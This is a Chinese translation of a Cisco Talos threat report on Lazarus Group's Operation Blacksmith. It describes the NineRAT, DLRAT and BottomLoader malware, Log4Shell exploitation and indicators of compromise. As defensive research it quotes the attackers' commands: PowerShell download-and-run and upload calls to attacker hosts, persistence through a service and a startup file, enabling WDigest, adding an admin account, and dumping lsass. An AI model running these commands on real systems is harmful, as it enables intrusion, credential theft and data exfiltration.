摘要
- 思科Talos团队最近发现了拉撒路集团(Lazarus Group)发起的一项新活动,并将其命名为“铁匠行动”(Operation Blacksmith),该活动至少使用了三个新的基于DLang的恶意软件家族,其中两个是远程访问木马(RAT),而在这两个RAT中有一个使用Telegram机器人和通道作为C2通信的媒介。研究人员将这种基于Telegram的RAT称为“NineRAT”,将非基于Telegram的RAT称为“DLRAT”;并将基于DLang的下载程序称为“BottomLoader”。
- 这一最新发现表明,朝鲜APT组织Lazarus group的攻击策略发生了明显转变。在过去的一年半里,Talos已经公开了三种不同的远程访问木马,它们在开发过程中使用了并不常见的技术,比如QtFramework、PowerBasic和现在的DLang。
- Talos观察到,在Lazarus进行的这次攻击中发现的战术、技术和程序(TTPs)与朝鲜政府支持的组织Onyx Sleet(PLUTIONIUM,也称为Andariel APT组织)一致。Andariel被广泛认为是Lazarus旗下的APT子组织。
- 该活动持续地攻击全球企业,这些企业公开托管并将其脆弱的基础设施暴露给CVE-2021-44228(Log4j)等N天漏洞利用。总体来看,Lazarus的目标是制造业、农业和实体安全公司。
Lazarus Group的“铁匠行动”破坏了制造业、农业和实体安全部门
“铁匠行动”涉及利用CVE-2021-44228(也称为Log4Shell),以及前所未知的基于DLang的RAT,并利用Telegram作为其C2通道。研究人员将这个恶意软件家族命名为“NineRAT”。NineRAT最初于2022年5月左右构建,并最早于2023年3月一起针对南美农业组织的行动中首次使用。之后,研究人员又在2023年9月左右再次看到NineRAT被用于攻击一家欧洲制造实体。
经过分析,Talos发现该活动所用的TTP与微软在2023年10月披露的恶意攻击存在部分重叠,后者涉及朝鲜政府支持的Onyx Sleet组织(也称为“PLUTIONIUM”或“Andariel”)。
Talos同意其他研究人员的评估,即Lazarus APT本质上是支持朝鲜在国防、政治、国家安全和研发方面不同目标的子组织的“保护伞”。每个子组织都有自己的活动,并针对目标开发和部署定制的恶意软件,不一定要完全协同工作。其中,Andariel的主要任务是初始访问,侦察和建立长期的间谍通道,以支持朝鲜政府的利益。在某些情况下,Andariel还对医疗机构进行了勒索软件攻击。
就工具和战术而言,最新发现的“铁匠行动”(Operation Blacksmith)与之前由Andariel组织发起的攻击存在相似和重叠之处。
该活动中一个常见的工件是“HazyLoad”,这是一个定制的代理工具,以前只在微软的报告中出现过。早在2023年5月,Talos就发现了针对一家欧洲公司和一家韩国实体安全和监控公司的美国子公司的HazyLoad。
除了Hazyload外,研究人员还发现了“NineRAT”和另外两个不同的恶意软件家族——都是基于DLang编写的——正在被Lazarus组织积极利用。这包括一个被称为“DLRAT”的RAT家族和一个被称为“BottomLoader”的下载程序,后者旨在受感染的端点上下载额外的有效载荷,如HazyLoad。
Lazarus恶意软件中的DLang——NineRAT、DLRAT和BottomLoader
NineRAT使用Telegram作为其C2通道,用于接受命令,传达输出,甚至用于入站和出站文件传输。Lazarus之所以使用Telegram很可能是想通过使用合法服务作为C2通信通道,来逃避基于网络和主机的检测措施。
NineRAT由三个组件组成,一个dropper二进制文件以及嵌入其中的另外两个组件。Dropper会把这两个组件写入磁盘,然后自行删除。第一个组件是一个Instrumentor,名为nslookup .exe(大写“i”而不是小写的L),它将执行第二个组件,并将在持久化机制中使用。这些模块化感染链经常被威胁行为者用来实现多种目标——从防御逃避到组件的功能分离。
该dropper将使用BAT脚本为第一个组件设置持久性。持久化机制接受服务名称、第一个组件的路径和服务创建参数:
服务创建命令
sc create Aarsvc_XXXXXX binPath=c:\windows\system32\nsIookup.exe -k AarSvcGroup -p type=own start=auto DisplayName=Agent Activation Runtime_XXXXXX
接下来,Instrumentor二进制文件(第一个组件)包含一个预先配置的路径,用于执行NineRAT恶意软件。
随着NineRAT被激活,该恶意软件成为与受感染主机交互的主要方法。然而,以前部署的后门机制(如反向代理工具HazyLoad)仍然存在。多个工具为Lazarus Group提供重叠的后门条目,在发现工具时具有冗余性,从而实现高度持久的访问。在之前的入侵中(比如Talos在2022年披露的那次)Lazarus严重依赖使用代理工具作为持续访问命令和渗漏数据的手段。
该恶意软件使用的Telegram C2通道导致研究人员发现了以前公开的Telegram机器人“[at]StudyJ001Bot”,该机器人被Lazarus用在NineRAT中。该机器人早于2020年就在韩语教程中公开展示了其ID和通讯地址。使用可公开访问的机器人可能会导致基础设施被劫持,Lazarus可能已经意识到这一点,开始在NineRAT中使用自己的机器人。有趣的是,切换到他们自己的Telegram C2频道并没有阻止使用开放频道利用旧的NineRAT样本。NineRAT通常由两个API令牌组成,用于与两个不同的Telegram频道进行交互——其中一个令牌是公开列出的。
NineRAT使用基于DLang的库与Telegram的API进行交互。最初,该植入使用getMe方法测试身份验证。该植入可以使用sendDocument方法/端点将文档上传到Telegram,或者通过getFile方法下载文件。恶意软件可以接受来自其运营商Telegram的以下命令:
命令 | 功能 |
/info | 收集有关受感染系统的初步信息 |
/setmtoken | 设置令牌值 |
/setbtoken | 设置一个新的Bot令牌 |
/setinterval | 设置恶意软件到Telegram频道之间的时间间隔 |
/setsleep | 设置恶意软件休眠/休眠的时间段 |
/upgrade | 升级到新版本的植入物 |
/exit | 退出恶意软件的执行 |
/uninstall | 从端点自行卸载 |
/sendfile | 从受感染端点向C2服务器发送文件 |
NineRAT也可以使用BAT文件从系统中卸载自己。下面是一些由NineRAT运行的侦察命令:
命令 | 意图 |
whoami | 系统信息发现[T1082] |
wmic os get osarchitecture | 系统信息发现[T1082] |
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName | 软件发现[T1518] |
通过NineRAT样本,研究人员发现了另外两个由Lazarus用DLang编写的恶意软件家族。其中之一就是追踪为“BottomLoader”的下载程序,用于从远程主机(如HazyLoad)下载并执行下一阶段的有效载荷。
BottomLoader可以通过PowerShell命令从一个硬编码的远程URL下载下一阶段的有效载荷:
powershell Invoke-webrequest -URI <URL> -outfile <file_location_on_system>
它也可以同样使用PowerShell上传文件到C2:
powershell (New-Object System.Net.WebClient).UploadFile('<file_path>','<remote_url>’)
BottomLoader还可以通过创建一个“.URL”文件,运行PowerShell命令下载负载。URL文件使用以下命令构建:
echo [InternetShortcut] > "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url"
echo URL="" >> "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url"
echo IconFile=C:\WINDOWS\system32\SHELL32.dll >> "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url"
echo IconIndex=20 >> "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\NOTEPAD.url"
另一种恶意软件是下载程序和RAT,研究人员将其跟踪为“DLRAT”,可用于部署其他恶意软件并从C2检索命令,然后在受感染的端点上执行它们。
DLRAT:基于DLang的RAT和下载程序
该恶意软件包含执行系统侦察的硬编码命令。它首先在端点上执行命令以收集有关系统的初始信息:“ver”、“whoami”和“getmac”。如此一来,操作人员将能获得有关操作系统版本的信息,知道哪个用户正在运行恶意软件和MAC地址,从而能够识别网络上的系统。
一旦执行了第一个初始化和信标,他们就会在同一目录中创建一个名为“SynUnst.ini”的初始化文件。
在向C2发出信标后,RAT将以多部分格式发布收集到的信息和硬编码的会话信息。
在分析中,研究人员发现DLRAT与C2服务器通信时使用的会话信息ID为“23wfow02rofw391ng23”,这与之前研究MagicRAT时发现的值相同。在MagicRAT的情况下,该值被编码为HTML帖子。但在DLRAT中,它被发布为多部分/表单数据。此会话信息作为在进程堆栈上构造的base64编码字符串被硬编码到DLRAT恶意软件中。
C2回复中只包含植入的外部IP地址。该恶意软件能够识别C2服务器发送的以下命令代码/名称,以便在受感染的系统上执行相应的操作:
命令名 | 功能 |
deleteme | 使用BAT文件从系统中删除自身 |
download | 从指定的远程位置下载文件 |
rename | 重命名系统上的文件 |
iamsleep | 指示植入物在指定的时间内进入睡眠状态 |
upload | 上传文件到C2 |
showurls | 空命令(尚未实现) |
“铁匠行动”分析
Talos观察到的这种特殊攻击涉及在面向公众的VMWare Horizon服务器上成功利用CVE-2021-44228(也称为Log4Shell),作为初始访问易受攻击的面向公众的服务器的手段。
第一阶段:Lazarus的初始侦察
Lazarus的初始访问始于成功利用CVE-2021-44228,即2021年发现的臭名昭著的Log4j漏洞。该漏洞已被APT组织的“保护伞”Lazarus广泛利用,以部署多个恶意软件和两用工具,并进行广泛的恶意操作。
命令 | 意图 |
cmd.exe /c whoami | 系统信息发现[T1082] |
cmd.exe /c wevtutil qe Microsoft-Windows-TerminalServices-LocalSessionManager/Operational /c:5 /q:*[System [(EventID=25)]] /rd:true /f:text | 查询事件日志:获取RDP会话重连接信息 |
net user | 系统信息发现[T1082] |
cmd.exe /c dir /a c:\users\ | 系统信息发现[T1082] |
cmd.exe /c netstat -nap tcp | 系统信息发现[T1082] |
systeminfo | 系统信息发现[T1082] |
cmd.exe /c Reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\Wdigest | OS凭证转储[T1003/005] |
cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 | OS凭证转储[T1003/005] 修改注册表[T1112] |
cmd.exe /c tasklist | findstr Secu | 软件发现[T1518] |
一旦初始侦察完成,Lazarus的操作人员就会部署HazyLoad,这是一种代理工具,用于直接访问受感染的系统,而无需重复利用CVE-2021-44228。
命令 | 行动 |
cmd[.]exe /c powershell[.]exe -ExecutionPolicy ByPass -WindowStyle Normal(New-ObjectSystem[.]Net[.]WebClient).DownloadFile('hxxp[://]/inet[.]txt', 'c:\windows\adfs\de\inetmgr[.]exe'); | 下载并执行HazyLoad |
c:\windows\adfs\de\inetmgr[. ]exe -i -p | 执行HazyLoad反向代理 |
cmd /C powershell Invoke-WebRequest hxxp[://]/down/bottom[.]gif -OutFile c:\windows\wininet64[.]exe cmd /C c:\windows\wininet64[. ]exe -i -p 443 | 下载并执行HazyLoad |
在某些情况下,操作人员也会将HazyLoad切换到新的远程IP地址。这是攻击者常用的一种策略,随着基础设施的发展,攻击者会使用这种策略来保持对先前被攻破的系统的持续访问。
命令 | 行动 |
cmd/C taskkill/IM wininet64[.]exe /F | 停止原始的HazyLoad执行 |
cmd /C c:\windows\wininet64[.]exe -i -p 443 | 重新启动带有新参数的HazyLoad |
威胁参与者还在系统上创建了一个额外的用户帐户,授予其管理权限。Talos在今年早些时候记录了这个TTP,但是之前观察到的活动是为了在域级别创建未经授权的用户帐户。在这次活动中,操作人员创建了一个本地帐户,该帐户与微软记录的用户帐户相匹配。
命令 | 意图 |
cmd.exe /c net user krtbgt /add | 开立帐户[T1136] |
cmd.exe /c net localgroup Administrators krtbgt /add .exe | 创建帐户[T1098] |
cmd.exe /c net localgroup Administrators | 用户发现[T1033] |
一旦成功设置了用户帐户,攻击者就会通过该帐户下载和使用凭据转储实用程序,如ProcDump和MimiKatz。
命令 | 意图 |
procdump.exe -accepteula -ma lsass.exe lsass.dmp | 凭证收集[T1003] |
pwdump.exe //Mimikatz | 凭证收集[T1003] |
第二阶段:Lazarus部署NineRAT
一旦凭据转储完成,Lazarus就会在受感染的系统上部署一种未知的RAT,称之为“NineRAT”。早在2023年3月,Lazarus就首次在野使用了NineRAT。NineRAT也是用DLang 编写的,这种使用非传统框架(如Qt框架,包括MagicRAT和QuiteRAT)编写的恶意软件的日益流行,充分表明了APT集团在TTP方面的明确转变。
一旦NineRAT被激活,它就会接受来自基于Telegram的C2通道的初始命令,再次对受感染的系统进行指纹识别。重新对受感染系统进行指纹识别表明,Lazarus通过NineRAT收集的数据可能会被其他APT组织共享,并且这些数据会与Lazarus在初始访问和植入部署阶段收集的指纹数据存放在不同的存储库中。
NineRAT通常执行以下命令:
命令 | 意图 |
cmd.exe /C ipconfig /all | 系统信息发现[T1082] |
cmd.exe /C ver | 系统信息发现[T1082] |
cmd.exe /C wmic os get osarchitecture | 系统信息发现[T1082] |
cmd.exe /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName | 软件发现[T1518] |
cmd.exe /C net group /domain Domain Computers | 系统信息发现[T1082] |
cmd.exe /C netstat -nap tcp | 系统信息发现[T1082] |
cmd.exe /C whoami | 系统信息发现[T1082] |
Hashes
HazyLoad
000752074544950ae9020a35ccd77de277f1cd5026b4b9559279dc3b86965eee
NineRAT
534f5612954db99c86baa67ef51a3ad88bc21735bce7bb591afa8a4317c35433
ba8cd92cc059232203bcadee260ddbae273fc4c89b18424974955607476982c4
47e017b40d418374c0889e4d22aa48633b1d41b16b61b1f2897a39112a435d30
f91188d23b14526676706a5c9ead05c1a91ea0b9d6ac902623bc565e1c200a59
5b02fc3cfb5d74c09cab724b5b54c53a7c07e5766bffe5b1adf782c9e86a8541
82d4a0fef550af4f01a07041c16d851f262d859a3352475c62630e2c16a21def
BottomLoader
0e416e3cc1673d8fc3e7b2469e491c005152b9328515ea9bbd7cf96f1d23a99f
DLRAT
e615ea30dd37644526060689544c1a1d263b6bb77fe3084aa7883669c1fde12f
9a48357c06758217b3a99cdf4ab83263c04bdea98c347dd14b254cab6c81b13a
Network IOCs
tech[.]micrsofts[.]com
tech[.]micrsofts[.]tech
27[.]102[.]113[.]93
185[.]29[.]8[.]53
155[.]94[.]208[.]209
162[.]19[.]71[.]175
201[.]77[.]179[.]66
hxxp://27[.]102[.]113[.]93/inet[.]txt
hxxp[://]162[.]19[.]71[.]175:7443/sonic/bottom[.]gif
hxxp[://]201[.]77[.]179[.]66:8082/img/lndex[.]php
hxxp[://]201[.]77[.]179[.]66:8082/img/images/header/B691646991EBAEEC[.]gif
hxxp[://]201[.]77[.]179[.]66:8082/img/images/header/7AEBC320998FD5E5[.]gif
原文链接:
https://blog.talosintelligence.com/lazarus_new_rats_dlang_and_telegram/